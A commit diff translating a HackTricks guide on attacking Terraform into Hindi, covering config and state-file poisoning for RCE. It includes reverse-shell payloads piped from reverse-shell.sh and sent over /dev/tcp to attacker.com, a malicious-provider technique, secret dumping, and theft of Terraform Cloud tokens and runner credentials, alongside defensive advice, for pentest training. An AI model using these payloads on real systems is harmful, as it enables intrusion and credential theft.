Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to hi

This commit is contained in:
Translator
2025-11-17 15:48:59 +00:00
parent a48a230457
commit 7033d5e215

View File

@@ -1,68 +1,68 @@
# Terraform Security
# Terraform सुरक्षा
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## बुनियादी जानकारी
[From the docs:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform एक **infrastructure as code tool** है जो आपको **cloud और on-prem resources** को मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में परिभाषित करने की अनुमति देता है जिन्हें आप संस्करण, पुन: उपयोग और साझा कर सकते हैं। आप फिर अपने सभी बुनियादी ढांचेसके जीवन चक्र के दौरान प्रावधान और प्रबंधित करने के लिए एक सुसंगत कार्यप्रवाह का उपयोग कर सकते हैं। Terraform निम्न-स्तरीय घटकों जैसे कंप्यूट, स्टोरेज, और नेटवर्किंग संसाधनों के साथ-साथ उच्च-स्तरीय घटकों जैसे DNS प्रविष्टियों और SaaS सुविधाओं का प्रबंधन कर सकता है।
HashiCorp Terraform एक **infrastructure as code tool** है जो आपको human-readable configuration फाइलों में दोनों **cloud और on-prem resources** को परिभाषित करने देता है जिन्हें आप version, reuse, और share कर सकते हैं। आप फिर एक सुसंगत workflowपयोग करके अपने पूरे infrastructure को उसके lifecycle के दौरान provision और manage कर सकते हैं। Terraform compute, storage, और networking जैसे low-level components के साथ-साथ DNS entries और SaaS features जैसे high-level components को भी manage कर सकता है।
#### Terraform कैसे काम करता है?
Terraform क्लाउड प्लेटफार्मों और अन्य सेवाओं पर संसाधनों को उनके एप्लिकेशन प्रोग्रामिंग इंटरफेस (APIs) के माध्यम से बनाता और प्रबंधित करता है। प्रदाता Terraform को किसी भी प्लेटफॉर्म या सेवा के साथ काम करने में सक्षम बनाते हैं जिसमें एक सुलभ API होता है
Terraform cloud platforms और अन्य सेवाओं पर उनके application programming interfaces (APIs) के माध्यम से resources बनाता और manage करता है। Providers Terraform को किसी भी ऐसे प्लेटफॉर्म या सेवा के साथ काम करने में सक्षम बनाते हैं जिनके पास accessible API हो।
![](<../images/image (177).png>)
HashiCorp और Terraform समुदाय ने पहले से ही **1700 से अधिक प्रदाता** लिखे हैं जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं का प्रबंधन करते हैं, और यह संख्या बढ़ती जा रही है। आप सभी सार्वजनिक रूप से उपलब्ध प्रदाताओं को [Terraform Registry](https://registry.terraform.io/) पर पा सकते हैं, जिमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं।
HashiCorp और Terraform community ने पहले से ही **1700 से अधिक providers** लिखे हैं ताकि हजारों तरह के resources और सेवाओं को manage किया जा सके, और यह संख्या बढ़ती जा रही है। आप सभी publicly available providers को [Terraform Registry](https://registry.terraform.io/) पर देख सकते हैं, जिमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और बहुत कुछ शामिल हैं।
मुख्य Terraform कार्यप्रवाह तीन चरणों में विभाजित है:
Core Terraform workflow तीन चरणों में होता है:
- **Write:** आप संसाधनों को परिभाषित करते हैं, जो कई क्लाउड प्रदाताओं और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप एक कॉन्फ़िगरेशन बना सकते हैं जो एक वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क में सुरक्षा समूहों और एक लोड बैलेंसर के साथ वर्चुअल मशीनों पर एक एप्लिकेशन को तैनात करता
- **Plan:** Terraform एक निष्पादन योजना बनाता है जो उस बुनियादी ढांचे का वर्णन करत है जिसे यह बनाएगा, अपडेट करेगा, या नष्ट करेगा जो मौजूदा बुनियादी ढांचे और आपकी कॉन्फ़िगरेशन के आधार पर है
- **Apply:** अनुमोदन पर, Terraform सही क्रम में प्रस्तावित संचालन करता है, किसी भी संसाधन निर्भरताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप क VPC की विशेषताओं को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो Terraform वर्चुअल मशीनों को स्केल करने से पहले VPC को फिर से बनाएगा।
- **Write:** आप resources को परिभाषित करते हैं, जो कई cloud providers और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप एक configuration बना सकते हैं जो एक Virtual Private Cloud (VPC) नेटवर्क में virtual machines पर एक application deploy करे, जिसमें security groups और एक load balancer
- **Plan:** Terraform एक execution plan बनाता है जो उस इन्फ्रास्ट्रक्चर का वर्णन करत है ज यह create, update, या destroy करेगा, मौजूदा इन्फ्रास्ट्रक्चर और आपकी configuration के आधार पर।
- **Apply:** अनुमोदन पर, Terraform प्रस्तावित operations को सही क्रम में निष्पादित करता है, किसी भी resource dependencies का सम्मान करते हुए। उदाहरण के लिए, यदि आप किसी VPC की properties अपडेट करते हैं और उस VPC में virtual machines की संख्या बदलते हैं, तो Terraform virtual machines को स्केल करने से पहले VPC को recreate करेगा।
![](<../images/image (215).png>)
### Terraform Lab
### Terraform लैब
बस अपने कंप्यूटर में terraform स्थापित करें।
बस अपने कंप्यूटर में Terraform इंस्टॉल करें।
यहाँ आपके पास एक [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) है और यहाँ आपके पास terraform डाउनलोड करने का [best way](https://www.terraform.io/downloads) है।
यहाँ आपके पास एक [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) है और यहाँ आपके पास Terraform डाउनलोड करने का [best way to download terraform](https://www.terraform.io/downloads) है।
## RCE in Terraform: config file poisoning
Terraform में **को प्लेटफॉर्म नहीं है जो एक वेब पृष्ठ या नेटवर्क सेवा को उजागर करता है** जिसे हम सूचीबद्ध कर सकते हैं, इसलिए, terraform को समझौता करने का एकमात्र तरीका है **terraform कॉन्फ़िगरेशन फ़ाइलों को जोड़ने/संशोधित करने में सक्षम होना** या **terraform स्थिति फ़ाइल को संशोधित करने में सक्षम होना** (नीचे अध्याय देखें)।
Terraform **को कोई ऐसी प्लेटफॉर्म सेवा नहीं देती जो वेब पेज या नेटवर्क सर्विस एक्सपोज़ करे** जिसे हम enumerate कर सकं, इसलिए Terraform को compromise करने का एकमात्र तरीका यह है कि आप **terraform configuration files को add/modify कर सकें** या **terraform state file को modify कर सकें** (नीचे अध्याय देखें)।
हालाकि, terraform एक **बहुत संवेदनशील घट** है जिसे समझौता करना है क्योंकि इसके पास विभिन्न स्थानों तक **विशेषाधिकार प्राप्त पहुंच** होगी ताकि यह सही तरीके से काम कर सके
हालाकि, Terraform compromise करने के लिए एक **बहुत संवेदनशील कंपोनेंट** है क्योंकि इसे सही ढंग से काम करने के लिए विभिन्न स्थानों पर **privileged access** की आवश्यकता होती है
एक हमलावर के लिए उस प्रणाली को समझौता करने का मुख्य तरीका जहां terraform चल रहा है, वह है **terraform कॉन्फ़िगरेशन को स्टोर करवाले रिपॉजिटरी को समझौता करना**, क्योंकि किसी बिंदु पर उन्हें **व्याख्यायित** किया जाएगा
एक attacker के लिए उस सिस्टम को compromise करने का मुख्य तरीका जहाँ Terraform चल रहा है, वह है **repository जिसे terraform configurations स्टोर करहैं उसे compromise करना**, क्योंकि किसी न किसी बिंदु पर वे interpret कि जाएंगे
वास्तव में, वहाँ ऐसे समाधान हैं जो **PR** बनने के बाद स्वचालित रूप से terraform plan/apply को **execute** करते हैं, जैसे कि **Atlantis**:
वास्तव में, ऐसी solutions हैं जो **एक PR बनने के बाद terraform plan/apply को स्वचालित रूप से execute** कर देती हैं, जैसे **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
यदि आप क terraform फ़ाइल को समझौता करने में सक्षम हैं, तो जब कोई `terraform plan` या `terraform apply` निष्पादित करता है, तो RCE करने के लिए आपके पास विभिन्न तरीके हो सकते हैं
यदि आप किसी terraform फ़ाइल को compromise कर पाते हैं तो ऐसे कई तरीके हैं जिनसे आप RCE कर सकते हैं जब कोई `terraform plan` या `terraform apply` execute करता है
### Terraform plan
Terraform plan terraform में **सबसे अधिक उपयोग किया जाने वाला कमांड** है और डेवलपर्स/समाधान जो terraform का उपयोग करते हैं, इसे हर समय कॉल करते हैं, इसलिए **RCE प्राप्त करने का सबसे आसान तरीका** यह सुनिश्चित करना है कि आप एक terraform कॉन्फ़िगरेशन फ़ाइल को विषाक्त करें जो `terraform plan` में मनमाने आदेशों को निष्पादित करेगी
Terraform plan terraform का **सबसे ज्यादा इस्तेमाल किया जाने वाला command** है और developers/solutions जो Terraform का उपयोग करते हैं वो इसे बार-बार चलाते हैं, इसलिए **RCE पने का सबसे आसान तरीका** यह है कि आप ऐसा terraform config file poison करें जो `terraform plan` में arbitrary commands execute कर दे
**एक बाहरी प्रदाता का उपयोग करना**
**Using an external provider**
Terraform [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) प्रदान करता है जो Terraform और बाहरी कार्यक्रमों के बीच इंटरफेस करने का एक तरीका प्रदान करता है। आप `plan` के दौरान मनमानी कोड चलाने के लिए `external` डेटा स्रोत का उपयोग कर सकते हैं।
Terraform [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ऑफर करता है जो Terraform और external programs के बीच interface प्रदान करने का तरीका देता है। आप `external` data source का उपयोग करके `plan` के दौरान arbitrary code चला सकते हैं।
एक terraform कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित की तरह कुछ इंजेक्ट करने से `terraform plan` निष्पादित करसमय एक रिवर्स शेल निष्पादित होगा:
एक terraform config फ़ाइल में निम्नलिखित जैसी चीज inject करने से `terraform plan` execute करपर एक rev shell चल जाएगी:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**कस्टम प्रदाता का उपयोग करना**
**कस्टम provider का उपयोग**
एक हमलावर [कस्टम प्रदाता](https://learn.hashicorp.com/tutorials/terraform/provider-setup) को [Terraform Registry](https://registry.terraform.io/) पर भेज सकता है और फिर से एक फीचर ब्रांच में Terraform कोड में जोड़ सकता है ([यहां से उदाहरण](https://alex.kaskaso.li/post/terraform-plan-rce)):
एक attacker [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) को [Terraform Registry](https://registry.terraform.io/) पर भेज सकता है और फिर से Terraform code में feature branch में जोड़ सकता है ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -75,28 +75,28 @@ version = "1.0"
provider "evil" {}
```
प्रदाता `init` में डाउनलोड किया जाता है और जब `plan` निष्पादित होता है तो यह दुर्भावनापूर्ण कोड चलाएगा
Provider को `init` में डाउनलोड किया जाता है और `plan` के निष्पादन पर यह दुर्भावनापूर्ण कोड चलाएगा
आप एक उदाहरण [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) में देख सकते हैं।
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
**एक बाहरी संदर्भ का उपयोग करना**
**बाहरी संदर्भ का उपयोग करना**
दोनों उल्लखित विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा अधिक छिपा हुआ है लेकिन पहले से अधिक जटिल है)। आप इस हमले को एक **अधिक छिपे हुए तरीके** से भी कर सकते हैं, न सुझावों का पालन करके:
उल्लिखित दोनों विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा पहले की तुलना में अधिक छिपा हुआ है पर पहले से अधिक जटिल)। आप इस हमले को और भी अधिक छिपे हुए तरीके से कर सकते हैं, निम्न सुझावों का पालन करके:
- Terraform फ़ाइल में सीधे rev shell जोड़ने क बजाय, आप **एक बाहरी संसाधन लोड कर सकते हैं** जिसमें rev shell शामिल है:
- सीधे terraform file में rev shell जोड़ने क बजाय, आप rev shell को रखने वाले एक **बाहरी resource को लोड** कर सकते हैं:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) में पा सकते हैं।
आप rev shell कोड इस लिंक पर पा सकते हैं: [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड** छिपा सकें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- बाहरी resource में, repo के अंदर किसी ब्रांच में मौजूद **terraform rev shell code** को छिपाने के लिए **ref** फीचर का उपयोग करें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply सभी परिवर्तनों को लागू करने के लिए निष्पादित किया जाएगा, आप इसे RCE प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं **एक दुर्भावनापूर्ण Terraform फ़ाइल को** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** के साथ इंजेक्ट करके।**\
आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf`ाइल में समाप्त हो जाएं:
Terraform apply सभी परिवर्तन लागू करने के लिए चलाया जाएगा, आप इसे दुरुपयोग कर RCE प्राप्त कर सकते हैं, [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
आपको बस यह सुनिश्चित करना है कि नीचे दिए गए किसी payload को `main.tf` फाइल के अंत में रखा गया हो:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
पिछली तकनीक **सुझावों का पालन करें** ताकि इस हमले को **बाहरी संदर्भों का उपयोग करके अधिक छिपे हुए तरीके से किया जा सके**
पिछली तकनीक **सुझावों का पालन करें** ताकि इस हमले को **बाहरी संदर्भों का उपयोग करके और अधिक छिपकर** किया जा सके।
## Secrets Dumps
आप **terraform द्वारा उपयोग किए गए गुप्त मानों को डंप कर सकते हैं** `terraform apply` चलाकर, terraform फ़ाइल में कुछ इस तरह जोड़कर:
आप terraform file में कुछ इस तरह जोड़कर `terraform apply` चलाने पर **secret values used by terraform dumped** करा सकते हैं:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -124,15 +124,15 @@ value = nonsensitive(var.do_token)
```
## Terraform State Files का दुरुपयोग
यदि आपके पास terraform state files पर लिखने का अधिकार है लेकिन आप terraform कोड को बदल नहीं सकते, तो [**यह शोध**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फाइल का लाभ उठाने के लिए कुछ दिलचस्प विकल्प प्रदान करता है। भले ही आपके पास कॉन्फ़िगरेशन फ़ाइलों पर लिखने का अधिकार हो, state फ़ाइलों के वेक्टर का उपयोग करना अक्सर अधिक चालाक होता है, क्योंकि आप `git` इतिहास में कोई निशान नहीं छोड़ते।
अगर आपके पास terraform state files पर write access है लेकिन आप terraform code को बदल नहीं सकते, तो [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फाइल का फायदा उठाने के कुछ दिलचस्प विकल्प देती है। भले ही आपके पास config files पर write access हो, state files के वेक्टर का उपयोग अक्सर कहीं ज़्यादा छिपा हुआ (sneaky) होता है, क्योंकि आप `git` history में निशान नहीं छोड़ते।
### Terraform में RCE: कॉन्फ़िग फ़ाइल विषाक्तता
### RCE in Terraform: config file poisoning
यह संभव है कि [एक कस्टम प्रदाता बनाएँ](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) और बस terraform state फ़ाइल में एक प्रदाता को दुर्भावनापूर्ण प्रदाता से बदल दें या दुर्भावनापूर्ण प्रदाता का संदर्भ देने वाला एक नकली संसाधन जोड़ें।
यह संभव है कि आप [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) और terraform state file में से किसी एक provider को malicious वाले से replace कर दें या malicious provider को reference करने वाला एक fake resource जोड़ें।
प्रदाता [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) इस शोध पर आधारित है और इस सिद्धांत को हथियार बनाता है। आप एक नकली संसाधन जोड़ सकते हैं और `command` विशेषता में चलाने के लिए इच्छित मनमाना bash कमांड निर्दिष्ट कर सकते हैं। जब `terraform` रन को ट्रिगर किया जाता है, तो इसे `terraform plan` और `terraform apply` चरणों में पढ़ा और निष्पादित किया जाएगा। `terraform apply` चरण के मामले में, `terraform` आपके कमांड को निष्पादित करने के बाद state फ़ाइल से नकली संसाधन को हटा देगा, अपने आप को साफ़ करते हुए। इस प्रदाता के लिए स्रोत को होस्ट करने वाले [GitHub रिपॉजिटरी](https://github.com/offensive-actions/terraform-provider-statefile-rce) में अधिक जानकारी और एक पूर्ण डेमो पाया जा सकता है।
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) इस रिसर्च पर आधारित है और इस सिद्धांत को weaponize करता है। आप एक fake resource जोड़ सकते हैं और attribute `command` में अपना arbitrary bash command डाल सकते हैं जिसे आप चलाना चाहते हैं। जब `terraform` run trigger होगा, यह दोनों `terraform plan` और `terraform apply` चरणों में पढ़ा और execute किया जाएगा। `terraform apply` के मामले में, `terraform` आपके command को execute करने के बाद state file से fake resource को delete कर देगा, अपने आप cleanup करते हुए। अधिक जानकारी और पूरा demo इस provider के source code को होस्ट करने वाले [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce) में पाया जा सकता है।
इसे सीधे उपयोग करने के लिए, बस `resources` ऐरे के किसी भी स्थान पर निम्नलिखित शामिल करें और `name` और `command` विशेषताओं को अनुकूलित करें:
इसे सीधे उपयोग करने के लिए, बस निम्नलिखित को `resources` array में किसी भी स्थान पर शामिल करें और `name` और `command` attributes को customize करें:
```json
{
"mode": "managed",
@@ -152,15 +152,15 @@ value = nonsensitive(var.do_token)
]
}
```
फिर, जैसे ही `terraform` निष्पादित होता है, आपका कोड चलगा।
फिर, जैसे ही `terraform` निष्पादित होता है, आपका कोड चल जाएगा।
### संसाधनों को हटाना <a href="#deleting-resources" id="deleting-resources"></a>
संसाधनों को नष्ट करने के 2 तरीके हैं:
1. **वास्तविक संसाधन को नष्ट करने के लिए राज्य फ़ाइल में यादृच्छिक नाम के साथ एक संसाधन डालें**
1. **नष्ट किए जाने वाले वास्तविक resource की ओर इशारा करते हुए state फ़ाइल में एक यादृच्छिक नाम के साथ resource डालें**
क्योंकि terraform देखेगा कि संसाधन का अस्तित्व नहीं होना चाहिए, यह से नष्ट कर देगा (वास्तविक संसाधन ID के अनुसार जो इंगित किया गया है)। पिछले पृष्ठ से उदाहरण:
क्योंकि `terraform` देखेगा कि वह resource मौजूद नहीं होना चाहिए, यह से नष्ट कर देगा (दिए गए वास्तविक resource ID के अनुसार)। उदाहरण पिछले पृष्ठ से:
```json
{
"mode": "managed",
@@ -176,13 +176,13 @@ value = nonsensitive(var.do_token)
]
},
```
2. **संसाधन को इस तरह से संशोधित करें कि से अपडेट करना संभव न हो (ताकि इसे हटाया जा सके और फिर से बनाया जा सके)**
2. **Resource को ऐसे संशोधित करें कि से अपडेट करना संभव न हो (ताकि वह हटाया जा और फिर से बनाया जा)**
EC2 इंस्टेंस के लिए, इंस्टेंस के प्रकार को संशोधित करना terraform को इसे हटाने और फिर से बनाने के लिए पर्याप्त है
EC2 instance के लिए, instance के type को बदलना पर्याप्त होता है ताकि terraform से हटार फिर से बना दे
### ब्लैकलिस्टेड प्रदाता को बदलें
### ब्लैकलिस्ट किए गए प्रोवाइडर को बदलें
यदि आप ऐसी स्थिति का सामना करते हैं जहाँ `hashicorp/external` को ब्लैकलिस्ट किया गया ह, तो आप निम्नलिखित करके `external` प्रदाता को फिर से लागू कर सकते हैं। नोट: हम https://registry.terraform.io/providers/nazarewk/external/latest द्वारा प्रकाशित `external` प्रदाता की एक फोर्क का उपयोग करते है। आप अपना खुद का फोर्क या फिर से कार्यान्वयन भी प्रकाशित कर सकते हैं।
अगर आपको ऐसी स्थिति मिले जहाँ `hashicorp/external` ब्लैकलिस्ट किया गया ह, तो आप नीचे दिए तरीके से `external` provider को पुनः लागू (re-implement) कर सकते हैं। नोट: हम external provider के एक fork का उपयोग करते हैं जो https://registry.terraform.io/providers/nazarewk/external/latest पर प्रकाशित है। आप अपना खुद का fork या re-implementation भी प्रकाशित कर सकते हैं।
```terraform
terraform {
required_providers {
@@ -193,27 +193,27 @@ version = "3.0.0"
}
}
```
फिर आप सामान्य के अनुसा`external` का उपयोग कर सकते हैं।
तब आप सामान्य रूप से `external` का उपयोग कर सकते हैं।
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE और क्रेडेंशियल एक्सफिल्ट्रेशन
## Terraform Cloud speculative plan RCE and credential exfiltration
यह परिदृश्य लक्षित क्लाउड खाते में पिवट करने के लिए अनुमानित योजनाओं के दौरान Terraform Cloud (TFC) रनर्स का दुरुपयोग करता है।
यह परिदृश्य Terraform Cloud (TFC) runners का speculative plans के दौरान दुरुपयोग करके लक्ष्य क्लाउड खाते में pivot करने का तरीका दिखाता है।
- पूर्व शर्तें:
- एक डेवलपर मशीन से Terraform Cloud टोकन चुराना। CLI टोकन को प्लेनटेक्स्ट में `~/.terraform.d/credentials.tfrc.json` पर स्टोर करता है।
- टोकन को लक्षित संगठन/वर्कस्पेस और कम से कम `plan` अनुमति तक पहुंच होन चाहिए। VCS-समर्थित वर्कस्पेस CLI से `apply` को ब्लॉक करते हैं, लेकिन फिर भी अनुमानित योजनाओं की अनुमति देते हैं।
- पूर्वशर्तें:
- एक developer मशीन से Terraform Cloud token चुराएँ। CLI tokens को plaintext में `~/.terraform.d/credentials.tfrc.json` पर स्टोर करता है।
- टोकन के पास लक्ष्य organization/workspace तक पहुँच और कम से कम `plan` permission होन चाहिए। VCS-backed workspaces CLI से `apply` को ब्लॉक करते हैं, पर फिर भी speculative plans की अनुमति देते हैं।
- TFC API के माध्यम से वर्कस्पेस और VCS सेटिंग्स खोजें:
- TFC API के माध्यम से workspace और VCS सेटिंग्स खोजें:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- एक अनुमानित योजना के दौरान कोड निष्पादन को ट्रिगर करें, बाहरी डेटा स्रोत और Terraform Cloud "cloud" ब्लॉक का उपयोग करके VCS-समर्थित कार्यक्षेत्रक्षित करें:
- speculative plan के दौरान external data source और Terraform Cloud "cloud" block का उपयोग करके VCS-backed workspace को लक्षित करनेिए code execution ट्रिगर करें:
```hcl
terraform {
cloud {
@@ -226,30 +226,30 @@ data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
TFC रनर पर रिवर्स शेल प्राप्त करने के लिए उदाहरण rsync.sh:
TFC runner पर reverse shell प्राप्त करने के लिए rsync.sh का उदाहरण:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
एक अनुमानित योजना चलाएँ ताकि कार्यक्रम को अस्थायी रनर पर निष्पादित किया जा सके:
ephemeral runner पर प्रोग्रम को निष्पादित करने के लिए एक अनुमानित योजना चलाएँ:
```bash
terraform init
terraform plan
```
- रनर से इंजेक्टेड क्लाउड क्रेडेंशियल्स की गणना करें और उन्हें एक्सफिल्ट्रेट करें। रन के दौरान, TFC फ़ाइलों और वातावरण चर के माध्यम से प्रदाता क्रेडेंशियल्स इंजेक्ट करता है:
- Runner से injected cloud credentials को enumerate और exfiltrate करें। Runs के दौरान, TFC provider credentials को files और environment variables के माध्यम से inject किया जाता है:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
रनर कार्यशील निर्देशिका में अपेक्षित फ़ाइलें:
Runner की working directory में अपेक्षित फ़ाइलें:
- GCP:
- `tfc-google-application-credentials` (वर्कलोड आइडेंटिटी फेडरेशन JSON कॉन्फ़िग)
- `tfc-gcp-token` (अल्पकालिक GCP एक्सेस टोकन)
- `tfc-google-application-credentials` (Workload Identity Federation JSON कॉन्फ़िग)
- `tfc-gcp-token` (short-lived GCP एक्सेस टोकन)
- AWS:
- `tfc-aws-shared-config` (वेब आइडेंटिटी/OIDC भूमिका अनुमोदन कॉन्फ़िग)
- `tfc-aws-token` (अल्पकालिक टोकन; कुछ संगठनों में स्थिर कुंजी का उपयोग हो सकत है)
- `tfc-aws-shared-config` (web identity/OIDC role assumption कॉन्फ़िग)
- `tfc-aws-token` (short-lived टोकन; कुछ संगठन स्थिर keys का उपयोग कर सकत है)
- VCS गेट्स को बायपास करने के लिए अल्पकालिक क्रेडेंशियल्स का आउट-ऑफ-बैंड उपयोग करें:
- VCS gates को बायपास करने के लिए short-lived credentials को out-of-band तरीके से उपयोग करें:
GCP (gcloud):
```bash
@@ -263,27 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
इन क्रेडेंशियल्स के साथ, हमलावर सीधे मूल CLIs का उपयोग करके संसाधनों को बनाते/संशोधित/नष्ट कर सकते हैं, PR-आधारित वर्कफ़्लो को दरकिनार करते हुए जो VCS के माध्यम से `apply` को रोकते हैं।
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
- रक्षा संबंधी मार्गदर्शन:
- TFC उपयोगकर्ताओं/टीमों और टोकनों पर न्यूनतम विशेषाधिकार लागू करें। सदस्यताओं का ऑडिट करें और बड़े मालिकों से बचें।
- संवेदनशील VCS-समर्थित कार्यक्षेत्रों पर `plan` अनुमति ो सीमित करें जहाँ संभव हो
- Sentinel नीतियों के साथ प्रदाता/डेटा स्रोत अनुमति सूचियों को लागू करें ताकि `data "external"` या अज्ञात प्रदाताओं को रोका जा सके। प्रदाता फ़िल्टरिंग पर HashiCorp मार्गदर्शन देखें।
- स्थिर क्लाउड क्रेडेंशियल्स की तुलना में OIDC/WIF को प्राथमिकता दें; धावकों को संवेदनशील मानें। अनुमानित योजना चलाने और अप्रत्याशित निकासी की निगरानी करें।
- `tfc-*` क्रेडेंशियल आर्टिफैक्ट्स के निष्कर्षण का पता लगाए और योजनाओं के दौरान संदिग्ध `external` प्रोग्राम उपयोग पर अलर्ट करें।
- TFC उपयोगकर्ताओं/टीमों और tokens पर न्यूनतम विशेषाधिकार लागू करें। सदस्यताओं का ऑडिट करें और व्यापक 'owners' रोल से बचें।
- संवेदनशील VCS-backed workspaces पर `plan` अनुमति जहाँ संभव हो सीमित करें।
- Sentinel policies के साथ provider/data source allowlists लागू करें ताकि `data "external"` या अज्ञात providers को ब्लॉक किया जा सके। HashiCorp की provider filtering पर guidance देखें।
- स्थिर cloud credentials के बजाय OIDC/WIF को प्राथमिकता दें; runners को संवेदनशील मानें। speculative plan runs और unexpected egress की निगरानी करें।
- `tfc-*` credential artifacts की exfiltration का पता लगाए और plans के दौरान संदिग्ध `external` program उपयोग पर अलर्ट करें।
## स्वचालित ऑडिट उपकरण
## Terraform Cloud का समझौता
### Using a token
जैसा कि **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. चोरी किए गए इस token से एक attacker token के स्कोप के भीतर user का impersonate कर सकता है।
इस token का उपयोग करके org/workspace प्राप्त करना संभव है:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
### क्लाउड तक बाहर निकलना
फिर, यदि runner किसी cloud environment में स्थित है, तो runner से जुड़ी principal का token प्राप्त करना और उसे out of band उपयोग करना संभव है।
- **GCP files (present in current run working directory)**
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
- `tfc-gcp-token` — अल्पकालिक (≈1 hour) GCP access token जो ऊपर संदर्भित है
- **AWS files**
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
(preferred over static keys).
- `tfc-aws-token` — shortlived token, या misconfigured होने पर संभावित रूप से static IAM keys।
## Automatic Audit Tools
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk एक व्यापक Infrastructure as Code (IaC) स्कैनिंग समाधान प्रदान करता है जो Terraform, CloudFormation, Kubernetes, और अन्य IaC प्रारूपों में कमजोरियों और गलत कॉन्फ़िगरेशन का पता लगाता है।
Snyk एक व्यापक Infrastructure as Code (IaC) स्कैनिंग समाधान प्रदान करता है जो Terraform, CloudFormation, Kubernetes, और अन्य IaC फॉर्मैट्स में कमजोरियाँ और गलत कॉन्फ़िगरेशन का पता लगाता है।
- **विशेषताएँ:**
- सुरक्षा कमजोरियों और अनुपालन मुद्दों के लिए वास्तविक समय स्कैनिंग
- संस्करण नियंत्रण प्रणालियों (GitHub, GitLab, Bitbucket) के साथ एकीकरण
- स्वचालित सुधार पुल अनुरोध
- विस्तृत सुधार सलाह
- **साइन अप:** [Snyk](https://snyk.io/) पर एक खाता बनाएं।
- **Features:**
- रीयल-टाइम स्कैनिंग सुरक्षा कमजोरियों और अनुपालन मुद्दों के लिए।
- Version control systems (GitHub, GitLab, Bitbucket) के साथ इंटीग्रेशन
- Automated fix pull requests
- विस्तृत सुधारात्मक सुझाव
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
